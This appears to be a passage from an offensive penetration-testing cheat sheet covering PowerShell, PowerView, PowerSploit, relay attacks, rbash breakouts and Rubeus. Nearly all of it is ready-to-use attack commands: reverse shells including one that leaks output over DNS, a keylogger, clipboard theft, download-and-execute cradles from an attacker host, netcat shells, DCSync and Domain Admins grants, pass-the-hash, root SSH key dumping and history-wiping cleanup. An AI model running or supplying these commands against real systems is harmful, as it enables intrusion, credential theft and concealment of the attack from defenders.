### DNS-Based PowerShell Reverse Shell

```cmd
PS C:\> function Invoke-DNSReverseShell { param([string]$<LHOST>, [int]$<LPORT>) $client = New-Object System.Net.Sockets.TCPClient($attacker_ip, $attacker_port); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $encodedSendback = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($sendback)); nslookup $encodedSendback $attacker_ip; $stream.Flush()}; $client.Close() }
```

### Encrypted PowerShell Reverse Shell

```cmd
PS C:\> $ErrorActionPreference = 'SilentlyContinue'; $client = New-Object System.Net.Sockets.TCPClient('<LHOST>', <LPORT>); $stream = $client.GetStream(); $sslStream = New-Object System.Net.Security.SslStream($stream, $false, {$true} ); $sslStream.AuthenticateAsClient('<LHOST>'); $writer = New-Object System.IO.StreamWriter($sslStream); $reader = New-Object System.IO.StreamReader($sslStream); while($true) { $writer.WriteLine('PS ' + (pwd).Path + '> '); $writer.Flush(); $command = $reader.ReadLine(); if($command -eq 'exit') { break; }; $output = iex $command 2>&1 | Out-String; $writer.WriteLine($output); $writer.Flush() }; $client.Close()
```

### Invoke Windows API for Keylogging

```cmd
PS C:\> Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class KeyLogger { [DllImport("user32.dll")] public static extern int GetAsyncKeyState(Int32 i); } "@ while ($true) { Start-Sleep -Milliseconds 100 for ($i = 8; $i -le 190; $i++) { if ([KeyLogger]::GetAsyncKeyState($i) -eq -32767) { $Key = [System.Enum]::GetName([System.Windows.Forms.Keys], $i) Write-Host $Key } } }
```

### Accessing Physical Memory with Windows API

```cmd
PS C:\> Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class MemoryReader { [DllImport("kernel32.dll")] public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out int lpNumberOfBytesRead); } "@ $process = Get-Process -Name 'process_name' $handle = $process.Handle $buffer = New-Object byte[] 1024 $bytesRead = 0 [MemoryReader]::ReadProcessMemory($handle, [IntPtr]0x00000000, $buffer, $buffer.Length, [ref]$bytesRead)
```

### Using Windows API for Screen Capturing

```cmd
PS C:\> Add-Type -TypeDefinition @" using System; using System.Drawing; using System.Runtime.InteropServices; public class ScreenCapture { [DllImport("user32.dll")] public static extern IntPtr GetDesktopWindow(); [DllImport("user32.dll")] public static extern IntPtr GetWindowDC(IntPtr hWnd); [DllImport("gdi32.dll")] public static extern bool BitBlt(IntPtr hObject, int nXDest, int nYDest, int nWidth, int nHeight, IntPtr hObjectSource, int nXSrc, int nYSrc, int dwRop); } "@ $desktop = [ScreenCapture]::GetDesktopWindow() $dc = [ScreenCapture]::GetWindowDC($desktop) # Further code to perform screen capture goes here
```

### Manipulating Windows Services via API

```cmd
PS C:\> Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class ServiceManager { [DllImport("advapi32.dll", SetLastError = true)] public static extern IntPtr OpenSCManager(string lpMachineName, string lpSCDB, int scParameter); [DllImport("advapi32.dll", SetLastError = true)] public static extern IntPtr CreateService(IntPtr SC_HANDLE, string lpSvcName, string lpDisplayName, int dwDesiredAccess, int dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, IntPtr lpdwTagId, string lpDependencies, string lp, string lpPassword); [DllImport("advapi32.dll", SetLastError = true)] public static extern bool StartService(IntPtr SVHANDLE, int dwNumServiceArgs, string lpServiceArgVectors); } "@ $scManagerHandle = [ServiceManager]::OpenSCManager(null, null, 0xF003F) # Further code to create, modify, or start services goes here
```

### Windows API for Clipboard Access

```cmd
PS C:\> Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; using System.Text; public class ClipboardAPI { [DllImport("user32.dll")] public static extern bool OpenClipboard(IntPtr hWndNewOwner); [DllImport("user32.dll")] public static extern bool CloseClipboard(); [DllImport("user32.dll")] public static extern IntPtr GetClipboardData(uint uFormat); [DllImport("kernel32.dll")] public static extern IntPtr GlobalLock(IntPtr hMem); [DllImport("kernel32.dll")] public static extern bool GlobalUnlock(IntPtr hMem); [DllImport("kernel32.dll")] public static extern int GlobalSize(IntPtr hMem); } "@ [ClipboardAPI]::OpenClipboard([IntPtr]::Zero) $clipboardData = [ClipboardAPI]::GetClipboardData(13) # CF_TEXT format $gLock = [ClipboardAPI]::GlobalLock($clipboardData) $size = [ClipboardAPI]::GlobalSize($clipboardData) $buffer = New-Object byte[] $size [System.Runtime.InteropServices.Marshal]::Copy($gLock, $buffer, 0, $size) [ClipboardAPI]::GlobalUnlock($gLock) [ClipboardAPI]::CloseClipboard() [System.Text.Encoding]::Default.GetString($buffer)
```

### Finding Writable and Executable Memory

```cmd
PS C:\> $proc = Get-NtProcess -ProcessId $pid -Access QueryLimitedInformation Get-NtVirtualMemory -Process $proc | Where-Object { $_.Protect -band "ExecuteReadWrite" }
```

### Finding Shared Section Handles

```cmd
PS C:\> $ss = Get-NtHandle -ObjectType Section -GroupByAddress | Where-Object ShareCount -eq 2 $mask = Get-NtAccessMask -SectionAccess MapWrite $ss = $ss | Where-Object { Test-NtAccessMask $_.AccessIntersection $mask } foreach($s in $ss) { $count = ($s.ProcessIds | Where-Object { Test-NtProcess -ProcessId $_ -Access DupHandle }).Count if ($count -eq 1) { $s.Handles | Select ProcessId, ProcessName, Handle } }
```

### Modifying a Mapped Section

```cmd
PS C:\> $sect = $handle.GetObject() $map = Add-NtSection -Section $sect -Protection ReadWrite $random = Get-RandomByte -Size $map.Length Write-NtVirtualMemory -Mapping $map -Data $random
```

### Process Creation and Command Line Parsing

```cmd
PS C:\> $proc = New-Win32Process -CommandLine "notepad <FILE>.txt"
```

### Security Implications of Command Line Parsing

```cmd
PS C:\> $proc = New-Win32Process -CommandLine "notepad <FILE>.txt" -ApplicationName "c:\windows\notepad.exe"
```

### Using Shell APIs for Non-Executable Files

```cmd
PS C:\> Start-Process "<FILE>.txt" -Verb "print"
```

### Querying Service Status with PowerShell

```cmd
PS C:\> Get-Win32Service
```

### Finding Executables That Import Specific APIs

```cmd
PS C:\> $imps = ls "$env:WinDir\*.exe" | ForEach-Object { Get-Win32ModuleImport -Path $_.FullName } PS> $imps | Where-Object Names -Contains "CreateProcessW" | Select-Object ModulePath
```

### Finding Hidden Registry Keys or Values

```cmd
PS C:\> ls NtKeyUser:\SOFTWARE -Recurse | Where-Object Name -Match "`0"
PS C:\> Get-NtTokenPrivilege $token
```

### forfiles

```cmd
PS C:\> forfiles /p C:\Windows\System32 /m notepad.exe /c calc.exe
```

### PowerShell Module Loading

> https://github.com/Unit-259/powerGallery

```cmd
PS C:\> $module = 'PsAES'
PS C:\> $mod = "https://www.powershellgallery.com/packages/$module"
PS C:\> $content = Invoke-RestMethod -Uri $mod
PS C:\> $regex = '<a\s+[^>]*href="([^"]+\.ps1)"[^>]*>'
PS C:\> $matches = [regex]::Matches($content, $regex)
PS C:\> $baseURL = "https://www.powershellgallery.com"
PS C:\> foreach ($match in $matches) {
PS C:\> $relativeLink = $match.Groups[1].Value
PS C:\> $fullLink = $baseURL + $relativeLink
PS C:\> ([regex]::Matches((irm "$fullLink"), '(?<=<td class="fileContent .*?">).*?(?=<\/td>)', 's').Value|%{[System.Net.WebUtility]::HtmlDecode($_)})-replace'<(?!#)[^>]+>|(?<!<#)>(?![^#])',''|iex}
```

### Cleanup

#### Empty Temp Folder

```cmd
PS C:\> Remove-Item $env:TEMP\* -r -Force -ErrorAction SilentlyContinue
```

#### Delete Run Box History

```cmd
PS C:\> reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f
```

#### Delete PowerShell History

```cmd
PS C:\> Remove-Item (Get-PSreadlineOption).HistorySavePath -ErrorAction SilentlyContinue
```

#### Empty Recycle Bin

```cmd
PS C:\> Clear-RecycleBin -Force -ErrorAction SilentlyContinue
```

## PowerShell Constrained Language Mode (CLM)

```cmd
PS C:\> Get-ApplockerPolicy -Effective -xml
PS C:\> Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
```

### Bypass Test

```cmd
PS C:\> $a = Get-ApplockerPolicy -effective
PS C:\> $a.rulecollections
```

### Bypass

```cmd
PS C:\> $ExecutionContext.SessionState.LanguageMode
PS C:\> IEX(New-Object Net.WebClient).DownloadString('http://<LHOST>/<FILE>.ps1')
```

```cmd
PS C:\> powershell -version 2
```

#### Example

```cmd
PS C:\> IEX(New-Object Net.WebClient).DownloadString('http://<LHOST>/Invoke-Rubeus.ps1'); Invoke-Rubeus.ps1
```

### Execute Code in another User Context

```cmd
PS C:\> $SecPassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force; $credential = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USERNAME>', $SecPassword); Invoke-Command -ComputerName localhost -Credential $credential -ScriptBlock { <COMMAND> }
```

### Decrypt Encrypted Credentials XML for PowerShell

#### Manual Steps

```cmd
PS C:\> [xml]$xmlContent = Get-Content -Path "C:\PATH\TO\FILE\Credentials.xml"
PS C:\> $encryptedPassword = $xmlContent.Objs.Obj.Props.SS.'#text'
PS C:\> $securePassword = $encryptedPassword | ConvertTo-SecureString
PS C:\> $username = $xmlContent.Objs.Obj.Props.S.'#text'
PS C:\> $credential = New-Object System.Management.Automation.PSCredential($username, $securePassword)
PS C:\> $BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($credential.Password)
PS C:\> $plainPassword = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)
PS C:\> Write-Output $plainPassword
```

#### One-Liner

```cmd
PS C:\> $cred = Import-CliXml -Path Credentials.xml; $cred.GetNetworkCredential() | Format-List *
```

## PowerSploit

> https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon

### Common Commands

```cmd
PS C:\> Export-PowerViewCSV         // thread-safe CSV append
PS C:\> Resolve-IPAddress           // resolves a hostname to an IP
PS C:\> ConvertTo-SID               // converts a given user/group name to a security identifier (SID)
PS C:\> Convert-ADName              // converts object names between a variety of formats
PS C:\> ConvertFrom-UACValue        // converts a UAC int value to human readable form
PS C:\> Add-RemoteConnection        // pseudo "mounts" a connection to a remote path using the specified credential object
PS C:\> Remove-RemoteConnection     // destroys a connection created by New-RemoteConnection
PS C:\> Invoke-UserImpersonation    // creates a new "runas /netonly" type logon and impersonates the token
PS C:\> Invoke-RevertToSelf         // reverts any token impersonation
PS C:\> Get-DomainSPNTicket         // request the kerberos ticket for a specified service principal name (SPN)
PS C:\> Invoke-Kerberoast           // requests service tickets for kerberoast-able accounts and returns extracted ticket hashes
PS C:\> Get-PathAcl                 // get the ACLs for a local/remote file path with optional group recursion
```

### Domain / LDAP Functions

```cmd
PS C:\> Get-DomainDNSZone                   // enumerates the Active Directory DNS zones for a given domain
PS C:\> Get-DomainDNSRecord                 // enumerates the Active Directory DNS records for a given zone
PS C:\> Get-Domain                          // returns the domain object for the current (or specified) domain
PS C:\> Get-DomainController                // return the domain controllers for the current (or specified) domain
PS C:\> Get-Forest                          // returns the forest object for the current (or specified) forest
PS C:\> Get-ForestDomain                    // return all domains for the current (or specified) forest
PS C:\> Get-ForestGlobalCatalog             // return all global catalogs for the current (or specified) forest
PS C:\> Find-DomainObjectPropertyOutlier    // finds user/group/computer objects in AD that have 'outlier' properties set
PS C:\> Get-DomainUser                      // return all users or specific user objects in AD
PS C:\> New-DomainUser                      // creates a new domain user (assuming appropriate permissions) and returns the user object
PS C:\> Set-DomainUserPassword              // sets the password for a given user identity and returns the user object
PS C:\> Get-DomainUserEvent                 // enumerates account logon events (ID 4624) and Logon with explicit credential events
PS C:\> Get-DomainComputer                  // returns all computers or specific computer objects in AD
PS C:\> Get-DomainObject                    // returns all (or specified) domain objects in AD
PS C:\> Set-DomainObject                    // modifies a gven property for a specified active directory object
PS C:\> Get-DomainObjectAcl                 // returns the ACLs associated with a specific active directory object
PS C:\> Add-DomainObjectAcl                 // adds an ACL for a specific active directory object
PS C:\> Find-InterestingDomainAcl           // finds object ACLs in the current (or specified) domain with modification rights set to non-built in objects
PS C:\> Get-DomainOU                        // search for all organization units (OUs) or specific OU objects in AD
PS C:\> Get-DomainSite                      // search for all sites or specific site objects in AD
PS C:\> Get-DomainSubnet                    // search for all subnets or specific subnets objects in AD
PS C:\> Get-DomainSID                       // returns the SID for the current domain or the specified domain
PS C:\> Get-DomainGroup                     // return all groups or specific group objects in AD
PS C:\> New-DomainGroup                     // creates a new domain group (assuming appropriate permissions) and returns the group object
PS C:\> Get-DomainManagedSecurityGroup      // returns all security groups in the current (or target) domain that have a manager set
PS C:\> Get-DomainGroupMember               // return the members of a specific domain group
PS C:\> Add-DomainGroupMember               // adds a domain user (or group) to an existing domain group, assuming appropriate permissions to do so
PS C:\> Get-DomainFileServer                // returns a list of servers likely functioning as file servers
PS C:\> Get-DomainDFSShare                  // returns a list of all fault-tolerant distributed file systems for the current (or specified) domain
```

### GPO Functions

```cmd
PS C:\> Get-DomainGPO                             // returns all GPOs or specific GPO objects in AD
PS C:\> Get-DomainGPOLocalGroup                   // returns all GPOs in a domain that modify local group memberships through 'Restricted Groups' or Group Policy preferences
PS C:\> Get-DomainGPOUserLocalGroupMapping        // enumerates the machines where a specific domain user/group is a member of a specific local group, all through GPO correlation
PS C:\> Get-DomainGPOComputerLocalGroupMapping    // takes a computer (or GPO) object and determines what users/groups are in the specified local group for the machine through GPO correlation
PS C:\> Get-DomainPolicy                          // returns the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller
```

### Comoputer Enumeration Functions

```cmd
PS C:\> Get-NetLocalGroup                // enumerates the local groups on the local (or remote) machine
PS C:\> Get-NetLocalGroupMember          // enumerates members of a specific local group on the local (or remote) machine
PS C:\> Get-NetShare                     // returns open shares on the local (or a remote) machine
PS C:\> Get-NetLoggedon                  // returns users logged on the local (or a remote) machine
PS C:\> Get-NetSession                   // returns session information for the local (or a remote) machine
PS C:\> Get-RegLoggedOn                  // returns who is logged onto the local (or a remote) machine through enumeration of remote registry keys
PS C:\> Get-NetRDPSession                // returns remote desktop/session information for the local (or a remote) machine
PS C:\> Test-AdminAccess                 // rests if the current user has administrative access to the local (or a remote) machine
PS C:\> Get-NetComputerSiteName          // returns the AD site where the local (or a remote) machine resides
PS C:\> Get-WMIRegProxy                  // enumerates the proxy server and WPAD conents for the current user
PS C:\> Get-WMIRegLastLoggedOn           // returns the last user who logged onto the local (or a remote) machine
PS C:\> Get-WMIRegCachedRDPConnection    // returns information about RDP connections outgoing from the local (or remote) machine
PS C:\> Get-WMIRegMountedDrive           // returns information about saved network mounted drives for the local (or remote) machine
PS C:\> Get-WMIProcess                   // returns a list of processes and their owners on the local or remote machine
PS C:\> Find-InterestingFile             // searches for files on the given path that match a series of specified criteria
```

### Threaded Meta-Functions

```cmd
PS C:\> Find-DomainUserLocation            // finds domain machines where specific users are logged into
PS C:\> Find-DomainProcess                 // finds domain machines where specific processes are currently running
PS C:\> Find-DomainUserEvent               // finds logon events on the current (or remote domain) for the specified users
PS C:\> Find-DomainShare                   // finds reachable shares on domain machines
PS C:\> Find-InterestingDomainShareFile    // searches for files matching specific criteria on readable shares in the domain
PS C:\> Find-LocalAdminAccess              // finds machines on the local domain where the current user has local administrator access
PS C:\> Find-DomainLocalGroupMember        // enumerates the members of specified local group on machines in the domain
```

### Domain Trust Functions

```cmd
PS C:\> Get-DomainTrust                 // returns all domain trusts for the current domain or a specified domain
PS C:\> Get-ForestTrust                 // returns all forest trusts for the current forest or a specified forest
PS C:\> Get-DomainForeignUser           // enumerates users who are in groups outside of the user's domain
PS C:\> Get-DomainForeignGroupMember    // enumerates groups with users outside of the group's domain and returns each foreign member
PS C:\> Get-DomainTrustMapping          // this function enumerates all trusts for the current domain and then enumerates all trusts for each domain it finds
```

## PowerView

> https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

> https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993

### Import

```cmd
PS C:\> powershell -ep bypass
PS C:\> Import-Module .\PowerView.ps1
```

or

```cmd
PS C:\> iex(new-object net.webclient).downloadstring('http://<LHOST>/PowerView.ps1')
```

or

```cmd
PS C:\> curl http://<LHOST>/PowerView.ps1 | iex
```

### Common Commands

```cmd
PS C:\> Find-InterestingDomainAcl -ResolveGuids
```

### Find a File

```cmd
PS C:\> Invoke-Command -Computer DC -Credential $cred -ScriptBlock { gci -recurse C:\Users <FILE>.txt }
```

### Read a File

```cmd
PS C:\> Invoke-Command -Computer DC -Credential $cred -ScriptBlock { cat \PATH\TO\FILE\<FILE>.txt }
```

### Check User

```cmd
PS C:\> Get-DomainUser <USERNAME> -Credential $cred
```

### Set Password

```cmd
PS C:\> $SecPass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force 
PS C:\> $cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\LDAP', $SecPass)
PS C:\> Get-DomainUser -Credential $cred -DomainController dc.<DOMAIN>
```

### Reset Password

```cmd
PS C:\> . .\PowerView.ps1
PS C:\> Add-DomainObjectAcl -Rights all -TargetIdentity <USERNAME> -PrincipalIdentity <USERNAME>
PS C:\> PS C:\temp> $cred = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
PS C:\> Set-DomainUserPassword <USERNAME> -AccountPassword $cred
```

### Add a User to Group

```cmd
PS C:\> Import-Module .\PowerView.ps1
PS C:\> $pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
PS C:\> $cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USERNAME>', $pass)
PS C:\> Add-DomainGroupMember -Identity 'Domain Admins' -Members '<USERNAME>' -Credential $cred
```

### Remove a User from a Group

```cmd
PS C:\> Invoke-Command -Computer DC -Credential $cred -ScriptBlock { net group "Domain Admins" <USERNAME> /del }
```

### Command Execution

```cmd
PS C:\> Invoke-Command -Computer DC -Credential $cred -ScriptBlock { whoami; hostname }
```

### DCSync

```cmd
PS C:\> powershell -ep bypass
PS C:\> . .\PowerView.ps1
PS C:\> $pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
PS C:\> $cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USERNAME>', $pass)
PS C:\> Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=<DOMAIN>,DC=<DOMAIN>" -PrincipalIdentity <USERNAME> -Rights DCSync
```

## PowerView.py

> https://github.com/aniqfakhrul/powerview.py

### Connection

```console
$ powerview <USERNAME>:'<PASSWORD>'@<RHOST>
$ powerview <USERNAME>@<DOMAIN>:'<PASSWORD>'@<RHOST>
$ powerview <DOMAIN>/<USERNAME>@<RHOST> -k --dc-ip <RHOST> -d --no-pass
```

### Common Commands

```cmd
PV > Get-DomainUser Administrator
PV > Get-DomainUser -Identity Administrator
PV > Get-DomainUser -Properties samaccountname,description
PV > Get-DomainUser -Where 'samaccountname contains admins'
PV > Get-DomainUser -Where 'samaccountname in admins'
PV > Get-DomainUser -Where 'samaccountname eq admins'
PV > Get-DomainUser -Count
PV > Get-DomainUser -OutFile /PATH/TO/FILE/<FILE>
PV > Set-DomainObject -Identity "adminuser" -Set 'servicePrincipalname=http/<DOMAIN>'
PV > Set-DomainObject -Identity "adminuser" -Append 'servicePrincipalname=http/<DOMAIN>'
PV > Set-DomainObject -Identity "adminuser" -Clear 'servicePrincipalname'
PV > Set-DomainObjectDN -Identity <USERNAME> -DestinationDN 'OU=<OU>,OU=<OU>,DC=<DOMAIN>,DC=<DOMAIN>'
PV > powerview <RHOST> --relay
```

## Pre-created Computer Accounts

> https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts/

```console
$ changepasswd.py -protocol rpc-samr -newpass <PASSWORD> '<DOMAIN>/<USERNAME>:<PASSWORD>@<RHOST>'
```

## pre2k

> https://github.com/garrettfoster13/pre2k

```console
$ pre2k unauth -d <DOMAIN> -dc-ip <RHOST> -inputfile <FILE>
```

## PRET

> https://github.com/RUB-NDS/PRET

```console
$ ./pret.py
$ ./pret.py <RHOST> ps    // pjl
```

```console
<RHOST>:/> ls
<RHOST>:/> cd
<RHOST>:/> get
<RHOST>:/> nvram dump
```

## PrivescCheck

> https://github.com/itm4n/PrivescCheck

```cmd
PS C:\> Set-ExecutionPolicy Bypass -Scope Process -Force
PS C:\> . .\PrivescCheck.ps1
```

```cmd
PS C:\> Get-Content .\PrivescCheck.ps1 | Out-String | Invoke-Expression
PS C:\> powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"
PS C:\> powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Report PrivescCheck_$($env:COMPUTERNAME) -Format TXT,HTML"
PS C:\> powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Audit -Report PrivescCheck_$($env:COMPUTERNAME) -Format TXT,HTML,CSV,XML"
```

## procdump

```cmd
PS C:\> .\procdump64.exe -accepteula -ma <PID>
PS C:\> type <FILE>.dmp | Select-String "username="
```

## PsExec

```cmd
PS C:\> .\psexec.exe -accepteula -hashes :<HASH> administrator@127.0.0.1 "<COMMAND>"
```

## pspy

>  https://github.com/DominicBreuker/pspy

```console
$ pspy64 -f
$ pspy64 -pf -i 1000
```

## pth-toolkit

> https://github.com/byt3bl33d3r/pth-toolkit

```console
$ pth-net rpc group addmem "<GROUP>" <USERNAME> -U <DOMAIN>/<USERNAME> -S <RHOST>
$ pth-net rpc password --pw-nt-hash <USERNAME> -U <DOMAIN>/<COMPUTERNAME>%<HASH> -S <RHOST>
$ pth-smbclient --user=<USERNAME> --pw-nt-hash -m smb3 \\\\<RHOST>\\<USERNAME> <HASH>
```

## pwncat

> https://github.com/calebstewart/pwncat

> https://pwncat.readthedocs.io/en/latest/usage.html

### Common Commands

```console
(local) pwncat$ back    // get back to shell
Ctrl+d                  // get back to pwncat shell
```

```console
$ pwncat-cs -lp <LPORT>
(local) pwncat$ download /PATH/TO/FILE/<FILE> .
(local) pwncat$ upload /PATH/TO/FILE/<FILE> /PATH/TO/FILE/<FILE>
```

## Python

### System Shell

```console
$ python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

### Python Library Hijacking

> https://rastating.github.io/privilege-escalation-via-python-library-hijacking/

> https://medium.com/@klockw3rk/privilege-escalation-hijacking-python-library-2a0e92a45ca7

### Get the current Path

```console
$ python3 -c 'import sys;print(sys.path)'
```

### remoteshell.py

```python
import os
os.system("nc -lnvp <LPORT> -e /bin/bash")
```

### Include Path

```console
$ sudo -E PYTHONPATH=$(pwd) /opt/scripts/admin_tasks.sh 6
```

## pyGPOAbuse

> https://github.com/Hackndo/pyGPOAbuse

```console
$ python3 pygpoabuse.py <DOMAIN>/<USERNAME> -hashes :<HASH> -gpo-id "<GPO_ID>" -dc-ip <RHOST>
$ python3 pygpoabuse.py <DOMAIN>/<USERNAME>:'<PASSWORD>' -gpo-id <ID> -command 'net localgroup Administrators <USERNAME> /add' -f
```

## pyWhisker

### Error Handling

#### Fixing [!] name 'logger' is not defined

> https://github.com/ShutdownRepo/pywhisker/issues/26

```console
$ git clone https://github.com/ShutdownRepo/pywhisker.git
$ git checkout ec30ba5759d57ead54341f58289090a9dc01249a
```

#### Fixing [!] module 'OpenSSL.crypto' has no attribute 'PKCS12' Error

> https://github.com/ShutdownRepo/pywhisker/issues/17

##### requirements.txt

```console
impacket
pyOpenSSL==24.0.0
cryptography
six
pyasn1
ldap3
ldapdomaindump
rich
setuptools
dsinternals
```

```console
$ pip install -r requirements.txt --break-system-packages
```

## rbash

### Restricted Bash (rbash) Breakouts

#### Environment Enumeration

```console
$ export -p
$ env
$ echo $0
$ echo $PATH
```

#### Checking $PATH Variable

```console
$ ls /home/<USERNAME>/usr/bin
$ echo /home/<USERNAME>/usr/bin/*
```

#### Breakout using $PATH Variable

```console
$ export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

#### Breakout using GTFObins

- less
- ls
- scp
- vi

##### Examples using less

```console
$ less /etc/profile
!/bin/sh
```

```console
$ VISUAL="/bin/sh -c '/bin/sh'" less /etc/profile
v
```

```console
$ less /etc/profile
v:shell
```

##### Example using scp

```console
$ TF=$(mktemp)
$ echo 'sh 0<&2 1>&2' > $TF
$ chmod +x "$TF"
$ scp -S $TF x y:
```

##### Examples using vi

```console
$ vi -c ':!/bin/sh' /dev/null
```

```console
$ vi
:set shell=/bin/sh
:shell
```

#### Breackout using SSH Command Execution

```console
$ ssh <USERNAME>@<RHOST> -t sh
$ ssh <USERNAME>@<RHOST> -t /bin/sh
$ ssh <USERNAME>@<RHOST> -t "/bin/bash --no-profile"
```

## Recover Files from Recycle Bin

```cmd
PS C:\> $shell = New-Object -ComObject Shell.Application
PS C:\> $recycleBin = $shell.Namespace(0xA) 
PS C:\> $recycleBin.Items()
```

```cmd
PS C:\> $shell=New-Object -ComObject Shell.Application; $bin=$shell.Namespace(0xA); $dest="C:\temp"; if (!(Test-Path $dest)) {New-Item -ItemType Directory -Path $dest | Out-Null}; $bin.Items() | ForEach-Object {if ($_.Name -eq "wapt-backup-sunday.7z") {Write-Host "File found: $($_.Name)"; Write-Host "Path: $($_.Path)"; Write-Host "Size: $($_.Size) bytes"; Write-Host "Type: $($_.Type)"; Write-Host "Last modified: $($_.ModifyDate)"; $destPath=Join-Path -Path $dest -ChildPath $_.Name; Copy-Item -Path $_.Path -Destination $destPath -Force; Write-Host "File copied to: $destPath"}}
```

## relayd

### Prerequisites

The binary need to have the `SUID` bit set.

```console
$ /usr/sbin/relayd -C /etc/shadow
[ERR] 2023-09-27 14:18:13 config.cpp:1539 write
[ERR] 2023-09-27 14:18:13 config.cpp:1213 open failed [/usr/etc/relayd/misc.conf.tmp.12217]
[ERR] 2023-09-27 14:18:13 config.cpp:1189 bad json format [/etc/shadow]
[ERR] 2023-09-27 14:18:13 invalid config file
```

## Relaying

### Cross Session Relay

#### RemotePotato0

> github.com/antonioCoco/RemotePotato0

##### Verification

```console
PS C:\> qwinsta *
```

```console
PS C:\> .\RunasCs.exe foobar foobar qwinsta -l 9
```

##### Prerequisites

```console
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:<RHOST>:<LPORT>
```

##### Execution

```console
PS C:\> .\RemotePotato0.exe -m 2 -s 1 -x <LHOST> -p <LPORT>
```

### DFSCoerce & Krbrelayx

> https://github.com/Wh04m1001/DFSCoerce

> https://github.com/dirkjanm/krbrelayx

#### Prerequisites

##### Create Virtual Environment

```console
$ python3 -m virtualenv venv
```

```console
$ . venv/bin/activate
```

##### pyOpenSSL & asgiref Library Installation

```console
$ pip install pyOpenSSL asgiref
```

```console
$ python3 -m pip uninstall pyOpenSSL asgiref
```

```console
$ python3 -m pip install asgiref==3.7.2
```

```console
$ python3 -m pip install pyOpenSSL==22.1.0 mitmproxy-rs==0.5.1
```

#### Impacket Installation

```console
$ pip install impacket
```

#### Add DNS Record

```console
$ bloodyAD --host <RHOST> -u <USERNAME> -p <PASSWORD> -d <DOMAIN> add dnsRecord <RHOST>UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA <LHOST>
```

#### Start krbrelayx Listener

```console
$ python3 krbrelayx.py -t 'http://<RHOST>/certsrv/certfnsh.asp' -v '<RHOST>$'
```

##### Active Directory Certificate Services (AD CS) Example

```console
$ python3 krbrelayx.py -t 'http://<RHOST>/certsrv/certfnsh.asp' --adcs --template DomainController -v '<RHOST>$'
```

#### Execution

```console
$ python3 dfscoerce.py -u <USERNAME> -p <PASSWORD> '<RHOST>UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' <RHOST>
```

## Remote Disk Image Dumping

### Dumping Disk Image

```console
$ dd if=/dev/sda bs=512 | gzip -1 - | ssh <USERNAME>@<LHOST> 'dd of=/home/<USERNAME>/image.gz'
```

### Mounting the Image

```console
$ sudo mkdir /mnt/<FOLDER>
$ sudo apt-get install lvm2 kpartx
$ sudo losetup -fP ~/image
$ sudo mount -t ext4 image /mnt/<FOLDER> 
$ sudo kpartx -av /dev/loop0
$ sudo vgscan
$ sudo vgchange -ay
$ sudo lvdisplay
$ sudo mount /dev/mapper/ubuntu--vg-ubuntu--lv /mnt/<FOLDER>
```

## restic

```console
$ sudo /usr/bin/restic -r /tmp/<FOLDER> init
```

```console
$ export RESTIC_PASSWORD='<PASSWORD>'
```

```console
$ sudo /usr/bin/restic -r /tmp/<FOLDER> backup /root
```

```console
$ sudo /usr/bin/restic -r /tmp/<FOLDER> ls latest
```

```console
$ sudo restic -r /tmp/<FOLDER> snapshots
```

```console
$ sudo restic -r /tmp/<FOLDER> dump latest /root/.ssh/id_rsa
```

## rpcclient

### LDAP

```console
$ rpcclient -U "" <RHOST>
```

#### Queries

```console
dsr_getdcname
dsr_getdcnameex
dsr_getdcnameex2
dsr_getsitename
enumdata
enumdomgroups
enumdomusers
enumjobs
enumports
enumprivs
getanydcname
getdcname
lookupsids
lsaenumsid <SID>
lsaquery
netconnenum
netdiskenum
netfileenum
netsessenum
netshareenum
netshareenumall
netsharegetinfo
queryuser <USERNAME>
srvinfo
```

## Rubeus

> https://github.com/GhostPack/Rubeus

### Common Commands

```cmd
PS C:\> .\Rubeus.exe dump /nowrap
PS C:\> .\Rubeus.exe asreproast /nowrap
PS C:\> .\Rubeus.exe asreproast /outfile:hashes.asreproast
